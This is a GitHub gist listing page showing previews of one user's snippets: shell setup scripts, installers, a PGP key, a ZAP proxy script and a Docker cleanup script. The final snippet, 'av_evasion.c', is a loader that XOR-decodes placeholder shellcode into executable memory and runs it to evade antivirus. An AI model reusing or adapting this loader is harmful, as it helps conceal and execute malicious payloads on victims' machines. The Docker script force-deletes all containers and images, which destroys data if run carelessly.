Skip to content

Instantly share code, notes, and snippets.

Avatar
😀
wiew

kurobeats kurobeats

😀
wiew
View GitHub Profile
View mac_zshrc
# System-wide profile for interactive zsh(1) shells.
# Setup user specific overrides for this in ~/.zshrc. See zshbuiltins(1)
# and zshoptions(1) for more details.
# Correctly display UTF-8 with combining characters.
if [[ "$(locale LC_CTYPE)" == "UTF-8" ]]; then
setopt COMBINING_CHARS
fi
@kurobeats
kurobeats / joplin_install_and_update.sh
Last active Jul 21, 2020
joplin to be installed in a nice way
View joplin_install_and_update.sh
#!/bin/bash
set -e
#-----------------------------------------------------
# Variables
#-----------------------------------------------------
COLOR_RED=`tput setaf 1`
COLOR_GREEN=`tput setaf 2`
COLOR_RESET=`tput sgr0`
SILENT=false
@kurobeats
kurobeats / pia-nm.sh
Last active Nov 22, 2019
Install OpenVPN profiles in NetworkManager for PIA
View pia-nm.sh
#!/bin/bash
#
# Install OpenVPN profiles in NetworkManager for PIA
#
error() {
echo $@ >&2
exit 255
}
@kurobeats
kurobeats / zt-gpg-key
Last active Nov 4, 2019
Zerotier PGP
View zt-gpg-key
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBFdQq7oBEADEVhyRiaL8dEjMPlI/idO8tA7adjhfvejxrJ3Axxi9YIuIKhWU
5hNjDjZAiV9iSCMfJN3TjC3EDA+7nFyU6nDKeAMkXPbaPk7ti+Tb1nA4TJsBfBlm
CC14aGWLItpp8sI00FUzorxLWRmU4kOkrRUJCq2kAMzbYWmHs0hHkWmvj8gGu6mJ
WU3sDIjvdsm3hlgtqr9grPEnj+gA7xetGs3oIfp6YDKymGAV49HZmVAvSeoqfL1p
pEKlNQ1aO9uNfHLdx6+4pS1miyo7D1s7ru2IcqhTDhg40cHTL/VldC3d8vXRFLIi
Uo2tFZ6J1jyQP5c1K4rTpw3UNVne3ob7uCME+T1+ePeuM5Y/cpcCvAhJhO0rrlr0
dP3lOKrVdZg4qhtFAspC85ivcuxWNWnfTOBrgnvxCA1fmBX+MLNUEDsuu55LBNQT
5+WyrSchSlsczq+9EdomILhixUflDCShHs+Efvh7li6Pg56fwjEfj9DJYFhRvEvQ
@kurobeats
kurobeats / Drop requests by response code.js
Created Oct 31, 2019
Drop requests by response code script for Zap
View Drop requests by response code.js
function proxyRequest(msg) {
return true
}
function proxyResponse(msg) {
var code = msg.getResponseHeader().getStatusCode()
// You can add more codes here
if (code == 404 || code == 403 || code == 500 || code == 502) {
// Drop the response
return false
@kurobeats
kurobeats / salt_windows_install.ps1
Last active Jul 6, 2020 — forked from dariusjs/salt_windows_install
powershell install salt-minion
View salt_windows_install.ps1
$saltversion = "Salt-Minion-2018.3.2-Py3-AMD64-Setup.exe"
$source = "https://repo.saltstack.com/windows/$saltversion"
$destination = "c:\temp\$saltversion"
Set-Location C:\temp
wget $source -OutFile $destination
iex 'c:\temp\Salt-Minion-2018.3.2-Py3-AMD64-Setup.exe /S /master=salt-master /minion-name=$env:computername'
@kurobeats
kurobeats / sane_setup.sh
Last active Jul 20, 2018
a sane way to install homebrew for linux
View sane_setup.sh
#!/bin/bash
git clone https://github.com/Linuxbrew/brew.git ~/.local/share/linuxbrew
PATH="$HOME/.local/share/linuxbrew/bin:$PATH"
export MANPATH="$(brew --prefix)/share/man:$MANPATH"
export INFOPATH="$(brew --prefix)/share/info:$INFOPATH"
test -d ~/.local/share/linuxbrew && PATH="$HOME/.local/share/linuxbrew/bin:$HOME/.local/share/linuxbrew/sbin:$PATH"
test -d ~/.local/share/linuxbrew && PATH="~/.local/share/linuxbrew/bin:~/.local/share/linuxbrew/sbin:$PATH"
@kurobeats
kurobeats / url-info.sh
Created May 19, 2017
whois but pretty
View url-info.sh
###### show Url information
function url-info()
{
doms=$@
if [ $# -eq 0 ]; then
echo -e "No domain given\nTry $0 domain.com domain2.org anyotherdomain.net"
fi
for i in $doms; do
_ip=$(host $i|grep 'has address'|awk {'print $4'})
if [ "$_ip" == "" ]; then
@kurobeats
kurobeats / docker-destroy-all.sh
Created Apr 9, 2017 — forked from dguardia/docker-destroy-all.sh
Destroy all Docker Containers and Images
View docker-destroy-all.sh
#!/bin/bash
# Stop all containers
docker stop $(docker ps -a -q)
# Delete all containers
docker rm $(docker ps -a -q)
# Delete all images BY FORCE
docker rmi -f $(docker images -q)
View av_evasion.c
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
You can’t perform that action at this time.